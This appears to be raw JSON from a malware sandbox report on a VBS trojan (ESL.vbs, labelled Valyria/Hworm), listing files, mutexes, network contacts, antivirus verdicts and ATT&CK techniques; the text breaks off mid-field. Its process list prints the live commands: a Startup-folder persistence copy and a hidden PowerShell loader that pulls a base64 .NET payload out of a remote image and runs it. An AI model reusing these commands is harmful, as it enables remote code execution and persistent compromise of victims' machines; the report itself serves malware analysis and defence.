"")18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"activity":{"behavior_tags":null,"file_activity":{"dropped_files":[],"extracted_files":[{"name":"SNBB4A2J7POYF9NT5378.temp","sha256":"0f133ae8974a528b159efdb2468d8fa64ac06f641a47775552f1b016a9c99587","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"verdict":"undetected"},{"name":"WLDY.vbs","sha256":"f2688472718a5b0be3b64d7eb647620e18bf5ced25c01bba5e02c54cb9fb07bf","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"verdict":"undetected"},{"name":"2GCCVNZ2PP8EM6FBGKA2.temp","sha256":"0f133ae8974a528b159efdb2468d8fa64ac06f641a47775552f1b016a9c99587","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"verdict":"undetected"},{"name":"77EC63BDA74BD0D0E0426DC8F8008506","sha256":"51caf4575f4acd9d6ea25a18bf8920b0235782d5eccc558ceb407be94f5555c6","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"verdict":"undetected"},{"name":"Cab870A.tmp","sha256":"32ccf567c07b62b6078cf03d097e21cbf7ef67a4ce312c9c34a47f865b3ad0a0","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"verdict":"undetected"},{"name":"Tar870B.tmp","sha256":"326842dd8731e37c8c27a08373c7ac341e6c72226cc850084e3a17d26675f3c9","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"verdict":"undetected"},{"name":"JD1ZC8KSEZRSQU1RDFT7.temp","sha256":"0f133ae8974a528b159efdb2468d8fa64ac06f641a47775552f1b016a9c99587","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"verdict":"undetected"}],"files_deleted":[],"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9467FDB9-5770-4F58-80FC-9C704B3CE1D0}","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"name":"Global\\CLR_PerfMon_WrapMutex","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"name":"RasPbFile","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"name":"_SHuassist.mtx","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"name":"Global\\.net clr networking","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]}]},"network_activity":{"contacted_hosts":[{"address":"104.21.45.138","country":"United States","port":443,"protocol":"TCP","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]}],"dns_resolutions":[{"country":"-","domain":"fe0.google.com","registrar_creation_date":"1997-09-15T00:00:00+00:00","registrar_name":"MarkMonitor, Inc.","registrar_name_servers":"NS1.GOOGLE.COM","registrar_organization":"Google Inc.","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"ttl":32},{"address":"104.21.45.138","country":"United States","domain":"uploaddeimagens.com.br","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"ttl":300}],"http_requests":[]},"process_activity":{"all_imported_dlls":["api-ms-win-downlevel-user32-l1-1-0.dll","ntdll.dll","cryptnet.dll","mpr.dll","System.Management.Automation.ni.dll","cscapi.dll","msisip.dll","cryptbase.dll","cabinet.dll","bcryptprimitives.dll","scrobj.dll","profapi.dll","normaliz.dll","sspicli.dll","rsaenh.dll","iertutil.dll","devobj.dll","System.Configuration.ni.dll","api-ms-win-core-synch-l1-2-0.dll","System.Transactions.dll","rpcrt4.dll","psapi.dll","rasman.dll","IPHLPAPI.DLL","WSHTCPIP.DLL","crypt32.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","msvcr80.dll","Microsoft.WSMan.Management.ni.dll","mscorlib.ni.dll","msvcrt.dll","winbrand.dll","rasapi32.dll","Microsoft.PowerShell.Commands.Diagnostics.ni.dll","userenv.dll","bcrypt.dll","ieframe.dll","mscorrc.dll","System.Data.ni.dll","imm32.dll","dhcpcsvc6.dll","System.Configuration.Install.ni.dll","System.Xml.ni.dll","urlmon.dll","mscoreei.dll","System.Data.dll","winnsi.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","linkinfo.dll","comdlg32.dll","ole32.dll","kernel32.dll","propsys.dll","lpk.dll","apphelp.dll","slc.dll","advapi32.dll","cfgmgr32.dll","sechost.dll","VxSSL64.dll","user32.dll","uxtheme.dll","mswsock.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","wshext.dll","Microsoft.PowerShell.Security.ni.dll","SensApi.dll","diasymreader.dll","mscorwks.dll","System.Core.ni.dll","version.dll","webio.dll","credssp.dll","sxs.dll","atl.dll","devrtl.dll","winhttp.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","cryptsp.dll","clbcatq.dll","schannel.dll","shdocvw.dll","msctf.dll","ws2_32.dll","netutils.dll","mlang.dll","nsi.dll","wintrust.dll","msasn1.dll","System.Transactions.ni.dll","shfolder.dll","security.dll","Microsoft.PowerShell.Commands.Management.ni.dll","System.Management.ni.dll","gpapi.dll","api-ms-win-downlevel-version-l1-1-0.dll","fltLib.dll","mscorjit.dll","FWPUCLNT.DLL","ntmarta.dll","dnsapi.dll","comctl32.dll","Wldap32.dll","rasadhlp.dll","ncrypt.dll","rtutils.dll","shlwapi.dll","dwmapi.dll","rpcss.dll","setupapi.dll","System.ni.dll","dhcpcsvc.dll","System.DirectoryServices.ni.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","tzres.dll","KernelBase.dll","oleaut32.dll","srvcli.dll","wship6.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","usp10.dll","vbscript.dll","gdi32.dll","shell32.dll","secur32.dll","scrrun.dll","ntshrui.dll","mscoree.dll"],"processes":[{"command_line":"\"C:\\ESL.vbs\"","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACC0lEQVR4Xu2Xy2rCQBSGfUMR3fkovoYIxiyrexe+gbhzIXhDxHbjtTbJQnM3pz0zpIknE5tJbFc98IOCM993MnMClkr/9V+kZrMZ7Pd7OJ1OcDgcMob/frvdwmg0gnK5DHTfzDWfzyEIAshTnucBrkeJarWaTwI3cByHbYgiQXCD2y0tPvh+FKz1eg2r1Qqm0ylUKhV5iXsBCozAFB4KvL29wm63Y98nkwnU63U5ibhAEpzsOorH1mD3m82GfdZ1HYbDIdRqtewSKGDbdqpAEszhocBisYBe7+UrPeh2u9Dv92EwGDxLgIIjOF5ATFjH45HJjMdjJkE5qSUWEJ95HBzFBdd17yZpuVwWEaDQZNdxeCjAg/sEcL1e8wpQsAzcYUEBwzBkBSz2CEXwx9AIjJOEwX0MQ5cTsCwqIOr6Z7jj2OxdUlBADh4J2M8QKAYPBfCFRDmpxQVMtlB00R6D7wXwMuMk6bomL4ALKVx0y+mZx+FcwJcXME0qkA+O01RQgINl4FzA+k4BAT/1zEXnTTuPC2haDgEcQQqO4LTjJBiD04RTpGkfRQSywJNgHtwnt8DjR57WNRcwv5NT4MoWpl20x/AnChSF5xLA/wWXy4WdP4dbRMBMBI8MpUVxXQ/O53c5gd8oykmtRqMBrVYLVLUDnQ6PooSflbsoCqYtTLvNo6oqNJvN7AJ/XZ+m0rg3oaUMLwAAAABJRU5ErkJggg==","name":"WScript.exe","normalized_path":"%WINDIR%\\System32\\WScript.exe","pid":3484,"ppid":0,"sha256":"9c8a1b52a638ca87a5e7e60e635a3cbf89b04f5888995f55e2ad3d94ab009b97","uid":"00000000-00003484"},{"command_line":"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs')\"","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00000000-00003484","pid":1844,"ppid":3484,"sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","uid":"00000000-00001844"},{"command_line":"ping 127.0.0.1 -n 5","name":"PING.EXE","normalized_path":"%WINDIR%\\system32\\PING.EXE","parent_uid":"00000000-00001844","pid":2120,"ppid":1844,"sha256":"14262982a64551fde126339b22b993b6e4aed520e53dd882e67d887b6b66f942","uid":"00000000-00002120"},{"command_line":"/c \"powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs')\"","name":"cmd.exe","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00001844","pid":1204,"ppid":1844,"sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","uid":"00000000-00001204"},{"command_line":"powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs')","name":"powershell.exe","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00001204","pid":2164,"ppid":1204,"sha256":"a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8","uid":"00000000-00002164"},{"command_line":"$22","name":"powershell.exe","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003484","pid":1544,"ppid":3484,"sha256":"a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8","uid":"00000000-00001544"},{"command_line":"-windowstyle hidden -executionpolicy bypss -NoProfile -command \"$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.234de/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)\"","name":"powershell.exe","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00001544","pid":2724,"ppid":1544,"sha256":"a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8","uid":"00000000-00002724"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\POWERSHELL_RASAPI32\\","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]}],"keys_deleted":[],"keys_modified":[]},"sample_flags":["Launch Failed","Network Traffic","Extracted Files"],"sandbox_reports":[{"analysis_start_time":"2023-08-24T13:45:35+00:00","contacted_countries":["USA"],"environment_description":"Windows 7 64 bit","environment_id":120,"id":"64e75efeea7fccc5ca0e0677","indicators_count":{"informative":116,"malicious":2,"suspicious":15},"is_in_unified_schema":true,"state":"SUCCESS","submit_name":"ESL.vbs","tags":["Network Traffic","Extracted Files","Launch Failed"],"threat_score":100,"verdict":"malicious"}],"stats":{"contacted_hosts_count":1,"contacted_urls_count":0,"dns_resolutions_count":2,"dropped_files_count":0,"embedded_domains_count":0,"embedded_ips_count":0,"embedded_urls_count":0,"extracted_files_count":7,"files_deleted_count":0,"files_written_count":10,"http_requests_count":0,"imported_dlls_count":129,"injected_processes_count":0,"mutex_created_count":12,"process_count":7,"registry_keys_created_count":3,"registry_keys_deleted_count":0,"registry_keys_modified_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"script_calls_count":0,"spawned_processes_count":7}},"all_analysis_status":{"fastscan_status":"SUCCESS","qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS"},"detections":{"attributions":{"malware_families":[{"sources":[{"report_id":"","report_type":"quickscan"}],"value":"Valyria"}]},"av_detections":{"engines":{"aegislab":{"data_source":"MetaDefender","name":"AegisLab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"ahnlab":{"data_source":"MetaDefender","name":"AhnLab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"antiy":{"data_source":"MetaDefender","name":"Antiy","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"avira":{"data_source":"MetaDefender","name":"Avira","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"bitdefender":{"data_source":"MetaDefender","name":"Bitdefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"VB:Trojan.Valyria.8426","verdict":"malicious"},"clamav":{"data_source":"MetaDefender","name":"ClamAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"comodo":{"data_source":"MetaDefender","name":"Comodo","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"emsisoft":{"data_source":"MetaDefender","name":"Emsisoft","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"VB:Trojan.Valyria.8426 (B)","verdict":"malicious"},"eset":{"data_source":"MetaDefender","name":"ESET","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"filseclab":{"data_source":"MetaDefender","name":"Filseclab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"huorong":{"data_source":"MetaDefender","name":"Huorong","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"k7":{"data_source":"MetaDefender","name":"K7","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"kaspersky":{"data_source":"MetaDefender","name":"Kaspersky","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"mcafee":{"data_source":"MetaDefender","name":"McAfee","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"nanoav":{"data_source":"MetaDefender","name":"NANOAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan.Script.Hworm.dmiour","verdict":"malicious"},"netgate":{"data_source":"MetaDefender","name":"NETGATE","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"rocketcyber":{"data_source":"MetaDefender","name":"RocketCyber","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"sophos":{"data_source":"MetaDefender","name":"Sophos","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"tachyon":{"data_source":"MetaDefender","name":"TACHYON","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"trendmicro":{"data_source":"MetaDefender","name":"Trend Micro","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"trendmicrohousecall":{"data_source":"MetaDefender","name":"Trend Micro HouseCall","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"varist":{"data_source":"MetaDefender","name":"Varist","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"VBS/Agent.BDD","verdict":"malicious"},"viritexplorer":{"data_source":"MetaDefender","name":"Vir.IT eXplorer","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"virusblokada":{"data_source":"MetaDefender","name":"VirusBlokAda","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"webrootsmd":{"data_source":"MetaDefender","name":"Webroot SMD","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"zillya":{"data_source":"MetaDefender","name":"Zillya!","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"}}},"incidents":[{"details":[{"detail":"Spawns a lot of processes"}],"details_count":1,"name":"Persistence","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"details":[{"detail":"Checks network status using ping"}],"details_count":1,"name":"Evasive","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"details_count":1,"name":"Network Behavior","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]}],"mitre_attacks":[{"attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"suspicious","value":"Shows ability to use data encoding technique"},{"type":"informative","value":"Commandline contains long base64 encoded string"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Data Encoding"},{"attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Execution","technique":"Shared Modules"},{"attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","identifiers":[{"type":"suspicious","value":"Executes a VBS file"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Execution","technique":"Visual Basic"},{"attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Runs shell commands"},{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Execution","technique":"Windows Command Shell"},{"attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Script file shows a combination of malicious behavior"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Execution","technique":"Malicious File"},{"attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Persistence","technique":"DLL Side-Loading"},{"attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking"},{"attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Opens file with deletion access rights"},{"type":"informative","value":"Marks file for deletion"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"File Deletion"},{"attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","identifiers":[{"type":"informative","value":"Renames files with double extension (often done by ransomware)"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Double File Extension"},{"attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"suspicious","value":"Executes powershell with commandline"},{"type":"informative","value":"Windows Script Host executes Powershell"},{"type":"informative","value":"Executes Powershell command strings"},{"type":"informative","value":"Commandline contains PowerShell"},{"type":"informative","value":"Observed Powershell command strings"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Execution","technique":"PowerShell"},{"attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Deletes registry keys"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Indicator Removal"},{"attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Tries to map intranet network resources to internet zone"},{"type":"informative","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Disable or Modify Tools"},{"attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"suspicious","value":"Ability to hide a payload in the commandline"},{"type":"informative","value":"Calls an API typically used to decrypt a block of data"},{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information"},{"attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Discovery","technique":"Application Window Discovery"},{"attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Calls an API typically to import asymmetric cryptographic keys into a CSP"},{"type":"informative","value":"Calls an API typically used to encrypt a block of data"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Asymmetric Cryptography"},{"attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Calls an API typically used to communicate with HTTP server"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Web Protocols"},{"attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","identifiers":[{"type":"informative","value":"Contains ability to upload or download data from a specified domain"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Bidirectional Communication"},{"attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Persistence","technique":"Windows Service"},{"attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Modifies proxy settings"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Modifies Software Policy Settings"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Modify Registry"},{"attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"suspicious","value":"Uses powershell with a windows hidden commandline param"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Hidden Window"},{"attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"informative","value":"Installs hooks/patches the running process"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Credential Access","technique":"Credential API Hooking"},{"attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Accesses Software Policy Settings"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Discovery","technique":"Query Registry"},{"attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry 